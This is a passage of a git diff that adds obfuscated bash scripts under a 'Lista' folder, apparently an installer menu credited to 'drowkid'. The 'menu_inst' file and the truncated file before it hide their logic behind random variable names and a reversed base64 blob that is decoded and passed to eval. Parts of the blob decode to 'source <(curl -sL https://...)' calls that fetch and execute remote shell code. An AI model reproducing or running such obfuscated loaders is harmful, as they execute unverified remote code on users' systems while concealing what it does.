FehFwlOMdfAlivBCoKjNQ";fEDNlUsyqbvgviPOUBGfBBfRKCqkvjLGSwrebAhaxzYWRjUUJJwgXhLaRkSTolZRgAxbkzyOokeHIWTBORQhTxildChnmYrmOxiD="NPBASdsCESyyUloPQCeNnhxifSloPQEkiqNdRVigMMWUCLWbjGFSSJybBtuGanSeGjLUoSUfNdNlTVSpuDSiRBFqHlIQJmKmAmow";oXqQpDsEizoWiQFmqvNmMxYiwflvYQxgsHQGtCrooITQHkOLKYNOZMgSyWHtflxkMTWGbBNkpqhtXjUoatJdPQzXLzOjPTkvpSaJ="o";XPXcIaOewtaeZUQuQxJNrBajnJKxtWIFQYWXxtRneAjYQIIMIcWuqaLBhDWstJmkrhbrkvNbRvICbROzEkAWwYuIKTWLfRakwQbb="6";vWytCcVlNyoQQeEseRbxcRaSvWkjNGpGpwmqmnnUDniKWYGtNqxGgtcfTOhXVOPUFdiqKArFsTHHLmlxTumjHKudxNLCEDgmSNGQ="rYEDVCMAbiKMwywSEISLUGtPDvGbGAKzDHQcKEauKVSrvyeOHFoVJqPacZzQwLGmWQaLyDBxnNnzOiRxivcLDSRXHgpTSbUvXJgO";AxGMYZWMoEsYxbILtzBHxmbCPKolzoaIHscAYzCwNbSyYbqkdYCJqWveQxTbHRaKKGPpXWLYCtLRusftOhhXpyFZbiBZeTHTbQCG=" -d";ACWUcabIAjcNbvDeezBiRHvXHjEBcUUPerOakYyZzJfNXjcsmBKYvfMCKbouwFbKtCpgLTcHdnSijAqlwBwmSLnsrbcgSSyzjKby="UKzNMoTKCjDbYwBJkcNSPBAYfQoQRcIWcQEtTGdtpsBsyHjGuWBywUUADNEKIVnaJxpaImFUkYxrilhVkEODrXLGIFemvbPMJviG";mZdWIOEmNlPUTCpVTrLLEUZSWIAiwkBokkJexSvPPAKiGPdCVsJAZnueDBWAQoTpTmkBUNHPjFsJwuYzbCoTSrwQtdINdjkHKqKQ="";OLbXWIGfzvXstHuHSdhQyspIotlvQymBnlfAvqerYGjVBArTqSUexFkkdkYROhhwlwnSSYcCdmMqlmTegGyZqaWoYKfoYpwNDUkD="b";hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV="e";mGVGFqQSBCnoPoHeebzixAsUYcWAmztMopvecypvQiINEbXGPGCXzzeDauGgEyvqqIdPtKepWiZKgdORmeGhOOzfuksAiYxylYPZ="v |";Tx=Eds;epIslozXNDGiPqVKqhACgfRcFfkEWOgQjDZiWGHFovRVJeppHKbQlIjSKCVLlIxCUbYiYlpFEskeTPmgrZDxEgiaATecNPSJQIWd="";lTyDFWUOjumBhxJPtjnsOirBILGCtElfZLWCWoyvSfyIoRGvpQjddUxTXPXjAoUISVUoJAJHCWUoOOYcHmNGbAQNyXvDROQrxlVw=$(eval "$pUkuyZagVBFKjgrwMWnAQAgEZZnHtiJMtGLfTkHnSLYnxPPwPLprlGQRpHHlTAjQQpPGERptpWVgeDbHPqHTudRvwGLvYXbnBcbh$hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV$vzXfGbvFjUMKlYorLcgHpQWbBmahgYujcXPsWIKaQQyYTrgZPQInxGlfnoaLOdQoUjmLDdounFpeztggHtHBVJZReKPKLwbcUPLg$tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB$oXqQpDsEizoWiQFmqvNmMxYiwflvYQxgsHQGtCrooITQHkOLKYNOZMgSyWHtflxkMTWGbBNkpqhtXjUoatJdPQzXLzOjPTkvpSaJ$dBZQaUlsCBWFlNmMwyDsINxczHQYWaGkiyUWePrEDwEULStCxbdQdTTSzISyOubjkJClRGarZfaLRzIkpyVuWQssazEKiHPCQyAf$hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV$mGVGFqQSBCnoPoHeebzixAsUYcWAmztMopvecypvQiINEbXGPGCXzzeDauGgEyvqqIdPtKepWiZKgdORmeGhOOzfuksAiYxylYPZ$pUkuyZagVBFKjgrwMWnAQAgEZZnHtiJMtGLfTkHnSLYnxPPwPLprlGQRpHHlTAjQQpPGERptpWVgeDbHPqHTudRvwGLvYXbnBcbh$OLbXWIGfzvXstHuHSdhQyspIotlvQymBnlfAvqerYGjVBArTqSUexFkkdkYROhhwlwnSSYcCdmMqlmTegGyZqaWoYKfoYpwNDUkD$epIslozXNDGiPqVKqhACgfRcFfkEWOgQjDZiWGHFovRVJeppHKbQlIjSKCVLlIxCUbYiYlpFEskeTPmgrZDxEgiaATecNPSJQIWd$FnGBNeugNYABidbQCynMIVRNbsKwgmOPwByEuxhWbrxMSSpZDtvjtsjMiFKAqOLITvxzNCtdmLMHYYqDvdWJjBEcbVSrqxRxWfTj$hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV$XPXcIaOewtaeZUQuQxJNrBajnJKxtWIFQYWXxtRneAjYQIIMIcWuqaLBhDWstJmkrhbrkvNbRvICbROzEkAWwYuIKTWLfRakwQbb$tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB$MycMZwhNnEENUfinQiPYqwzGBBGRKwjTJLrrraZHOnhdvnfDCEKRPFTJEHdNYJzTrNCdkPdEZIMPjrPPpkePSFnzYfgnOdsoGJFr$AxGMYZWMoEsYxbILtzBHxmbCPKolzoaIHscAYzCwNbSyYbqkdYCJqWveQxTbHRaKKGPpXWLYCtLRusftOhhXpyFZbiBZeTHTbQCG$epIslozXNDGiPqVKqhACgfRcFfkEWOgQjDZiWGHFovRVJeppHKbQlIjSKCVLlIxCUbYiYlpFEskeTPmgrZDxEgiaATecNPSJQIWd");eval "$mZdWIOEmNlPUTCpVTrLLEUZSWIAiwkBokkJexSvPPAKiGPdCVsJAZnueDBWAQoTpTmkBUNHPjFsJwuYzbCoTSrwQtdINdjkHKqKQ$lTyDFWUOjumBhxJPtjnsOirBILGCtElfZLWCWoyvSfyIoRGvpQjddUxTXPXjAoUISVUoJAJHCWUoOOYcHmNGbAQNyXvDROQrxlVw$pUkuyZagVBFKjgrwMWnAQAgEZZnHtiJMtGLfTkHnSLYnxPPwPLprlGQRpHHlTAjQQpPGERptpWVgeDbHPqHTudRvwGLvYXbnBcbh$tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB" \ No newline at end of file diff --git a/Lista/menu_credito b/Lista/menu_credito new file mode 100644 index 0000000..e5100c2 --- /dev/null +++ b/Lista/menu_credito @@ -0,0 +1 @@ +✧ | ᴅʀᴏᴡᴋɪᴅ | ✧ diff --git a/Lista/menu_inst b/Lista/menu_inst new file mode 100755 index 0000000..5e28ef9 --- /dev/null +++ b/Lista/menu_inst @@ -0,0 +1,2 @@ +#!/bin/bash +SHpnZYgkgMTEcGUkmsqlSuUpBPzfoedqKVHjgUlMCkstfqKOEMRDGMTcxuHyRsADnnIOWOplPmsNnmRMuIopHrmAEbQzrItzvarL="WaGFgacUKJwpjfxmmRYXhhOefDFCeetAWZeIQdSmKDLnepmHVtHCWTGkcDaHyalYwlhvNGxcLpYeOZgeXaSuzdIlhAteNJUqCbXf";WXufVoZPiRoEUaYLDqHnKNlvAKfkMqGzLRzJGWLwShhDnRmEgEGKsEGgnWVGqqUMHdUCxCNaYTXTMYUNDanOLDAzKJQIdYlMGcIq="hoYlKIrGMHDZsFpAHtWBwNwwBUYrYiSXfSytwViCaFfBOvMbYhhCxyPRSNZELzBWjsBnfDTQvhSinDkwtgZHkrOOvnUsswgVGNxM";pijZxaiwjpmXjiCMIZZjBHSsAEskbVtiQKOBpnvHsPCVbQTSYtbzjTUztMxRnGiRAwKoCXvojQogneSCBBXEoiJLwcKTwIibCyrq="ch";xOFLADFybNRqtIWElsIWGzPlBcBbeYkhviweHXcTCngkaWQkjyEwkyTWGzrHVMpjyhRwKRKJNwROvTUDYeyfoMUydGdOEbWSeAyn="4";QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA="";CiDCdFfZOQCGRbxieNyCslQrVBuHfBEbUcUdVYVOlExHoHGlJjAWStVPoYlCzMISitcmusefpUMdEQtqvUspvoHYkddKHZpAkNpQ="NeqIXPGbyAivARJNspdcLyIuNmxgYrftzwGSZoVhIuzOWjNGAcFDdzkbVjWLhSMTRzBgYhsLCzUauLguoOIrdEMvROEgOAzznTIy";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